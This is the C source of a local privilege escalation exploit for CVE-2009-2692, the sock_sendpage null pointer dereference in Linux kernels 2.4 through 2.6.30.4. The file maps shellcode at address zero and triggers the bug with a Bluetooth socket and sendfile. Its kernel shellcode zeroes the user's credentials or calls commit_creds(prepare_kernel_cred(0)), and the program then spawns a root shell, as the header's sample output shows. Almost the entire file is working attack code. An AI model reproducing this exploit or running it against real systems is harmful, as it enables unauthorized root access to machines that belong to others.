CVE-2009-2692-sock_sendpage.c

/*
 * CVE-2009-2692 Linux kernel 2.4/(2.6.0 - 2.6.30.4) sock_sendpage local root exploit.
 *
 * by wzt       http://www.cloud-sec.org
 *
 * test on rhel5.2 x86/x86_64
 *
 * [wzt@localhost CVE-2009-2692-sock_sendpage]$ ./CVE-2009-2692-sock_sendpage
 * CVE-2009-2692 Linux kernel 2.4/(2.6.0 - 2.6.30.4) sock_sendpage local root exploit.
 * by wzt       http://www.cloud-sec.org
 * [+] target os: 2.6.18
 * [+] mmaping shellcode at zero ok.
 * [+] trigger null pointer def...
 * [+] We are root!
 * sh-3.2# id
 * uid=0(root) gid=0(root) groups=500(wzt) context=root:system_r:unconfined_t:SystemLow-SystemHigh
 * sh-3.2# uname -a
 * Linux localhost.localdomain 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 i686 i686 i386 GNU/Linux
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/sendfile.h>
#include <sys/socket.h>

//#define X86_64

#define PAYLOAD_SIZE                    1024
#define KALLSYMS_NAME                   "/proc/kallsyms"

#ifdef X86_64
#define USER_CS                         0x33
#define USER_SS                         0x2b
#define USER_FL                         0x246
#else
#define USER_CS                         0x73
#define USER_SS                         0x7b
#define USER_FL                         0x246
#endif
#define STACK(x)                        (x + sizeof(x))

typedef int __attribute__((regparm(1)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(1)))(*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
static unsigned int uid, gid;

void exit_user_code(void);
char user_stack[1024 * 1024];

typedef struct kern_sc_arg {
        void (*kernel_shellcode)(void);
        char *kern_sc;
}KERN_SC_ARG;

KERN_SC_ARG *kern_sc_arg = NULL;

#ifdef X86_64
static inline __attribute__((always_inline)) void *get_current(void)
{
        unsigned long curr;

        __asm__ __volatile__("movq %%gs:(0), %0":"=r"(curr));

        return (void *)curr;
}
static inline __attribute__((always_inline)) void *exit_kernel(void)
{
        __asm__ __volatile__ (
                "movq %0, 0x20(%%rsp)\n\t"
                "movq %1, 0x18(%%rsp)\n\t"
                "movq %2, 0x10(%%rsp)\n\t"
                "movq %3, 0x08(%%rsp)\n\t"
                "movq %4, 0x00(%%rsp)\n\t"
                "swapgs\n\t"
                "iretq"
                ::"i"(USER_SS), "r"(STACK(user_stack)), "i"(USER_FL), "i"(USER_CS), "r"(exit_user_code)
        );
}
#else
static inline __attribute__((always_inline)) void *get_current(void)
{
        unsigned long curr;

        __asm__ __volatile__(
                "movl %%esp, %%eax\n\t"
                "andl %1, %%eax\n\t"
                "movl (%%eax), %0"
                :"=r"(curr)
                :"i"(~4095)
        );

        return (void *)curr;
}
static inline __attribute__((always_inline)) void *exit_kernel(void)
{
        __asm__ __volatile__ (
                "movl %0, 0x10(%%esp)\n\t"
                "movl %1, 0x0c(%%esp)\n\t"
                "movl %2, 0x08(%%esp)\n\t"
                "movl %3, 0x04(%%esp)\n\t"
                "movl %4, 0x00(%%esp)\n\t"
                "iret"
                ::"i"(USER_SS), "r"(STACK(user_stack)), "i"(USER_FL), "i"(USER_CS), "r"(exit_user_code)
        );
}
#endif
void kernel_shellcode(void)
{
        unsigned int *p;
        int i;

        p = get_current();
        for (i = 0; i < 4096; i++) {
                if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid &&
                        p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
                        p[0] = p[1] = p[2] = p[3] = 0;
                        p[4] = p[5] = p[6] = p[7] = 0;
                        break;
                }
                p++;
        }

out:
        exit_kernel();
}

void kernel_shellcode_new(void)
{
        commit_creds(prepare_kernel_cred(0));
        exit_kernel();
}
void exit_user_code(void)
{
        if (getuid() != 0) {
                printf("[-] exploit failed.\n");
                exit(-1);
        }

        printf("[+] We are root!\n");
        execl("/bin/sh", "sh", "-i", NULL);
}
unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
{
        FILE *s_fp;
        char buff[200];
        char *p = NULL, *p1 = NULL;
        unsigned long addr = 0;

        s_fp = fopen(file_name, "r");
        if (s_fp == NULL) {
                printf("open %s failed.\n", file_name);
                return 0;
        }

        while (fgets(buff, 200, s_fp) != NULL) {
                if (strstr(buff, symbol_name) != NULL) {
                        buff[strlen(buff) - 1] = '\0';
                        p = strchr(strchr(buff, ' ') + 1, ' ');
                        ++p;
                        if (!p)
                                return 0;

                        if (!strcmp(p, symbol_name)) {
                                p1 = strchr(buff, ' ');
                                *p1 = '\0';
                                sscanf(buff, "%lx", &addr);
                                break;
                        }
                }
        }

        fclose(s_fp);
        return addr;
}
void parse_os_version(char *orig, char *new)
{
        char *c;

        c = strchr(orig, '-');
        if (c)
                *c = 0;
        c = strchr(orig, '.');
        if (c) {
                c = strchr(c + 1, '.');
                strcpy(new, c + 1);
        }
}

int knull_init(void)
{
        struct utsname os_ver;
        char buf[32] = {0};

        kern_sc_arg = (KERN_SC_ARG *)malloc(sizeof(KERN_SC_ARG));
        if (!kern_sc_arg)
                return -1;

        uid = getuid();
        gid = getgid();

        if (uname(&os_ver) == -1) {
                perror("uname");
                goto out;
        }

        parse_os_version(os_ver.release, buf);
        printf("[+] target os: %s\n", os_ver.release);

        if (atoi(buf) >= 20 ) {
                printf("[+] looking for symbols...\n");
                commit_creds = (_commit_creds)find_symbol_by_proc(KALLSYMS_NAME, "commit_creds");
                if (!commit_creds) {
                        printf("[-] not found commit_creds addr.\n");
                        goto out;
                }
                printf("[+] found commit_creds addr: %p\n", commit_creds);

                prepare_kernel_cred =(_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME,
                        "prepare_kernel_cred");
                if (!prepare_kernel_cred) {
                        printf("[-] not found prepare_kernel_cred addr.\n");
                        goto out;
                }
                printf("[+] found prepare_kernel_cred addr: %p\n", prepare_kernel_cred);

                kern_sc_arg->kernel_shellcode = kernel_shellcode_new;
        }
        else {
                kern_sc_arg->kernel_shellcode = kernel_shellcode;
        }

        return 0;
out:
        free(kern_sc_arg);
        return -1;
}

void knull_exit(void)
{
        free(kern_sc_arg);
}

int null_def_trigger(void)
{
        void *sc_addr;
	int in_fd, out_fd;
	char tmp[] = "/tmp/tmp.XXXXXX";

        sc_addr = mmap(NULL, PAYLOAD_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
        if (sc_addr == MAP_FAILED) {
                perror("mmap");
                return -1;
        }

        memset(sc_addr, 0x90, PAYLOAD_SIZE);
        *(char *)(sc_addr + 12) = 0xe8;
        *(int *)(sc_addr + 13) = (int)kernel_shellcode - 12 - 5;

        printf("[+] mmaping shellcode at zero ok.\n");
        printf("[+] trigger null pointer def...\n");

	out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0);
	if (out_fd < 0) {
		perror("socket");
		return -1;
	}

	in_fd = mkstemp(tmp);
	if (in_fd < 0) {
		perror("mkstemp");
		return -1;
	}

	unlink(tmp);
	ftruncate(in_fd, 4096);
	sendfile(out_fd, in_fd, NULL, 4096);

        /* never return here. */
        munmap(sc_addr, PAYLOAD_SIZE);
        return 0;
}

void exp_banner(void)
{
        printf("CVE-2009-2692 Linux kernel 2.4/(2.6.0 - 2.6.30.4) sock_sendpage local root exploit.\n"
                "by wzt       http://www.cloud-sec.org\n");
}

int main(void)
{
        exp_banner();
        knull_init();
        null_def_trigger();
        knull_exit();

        return 0;
}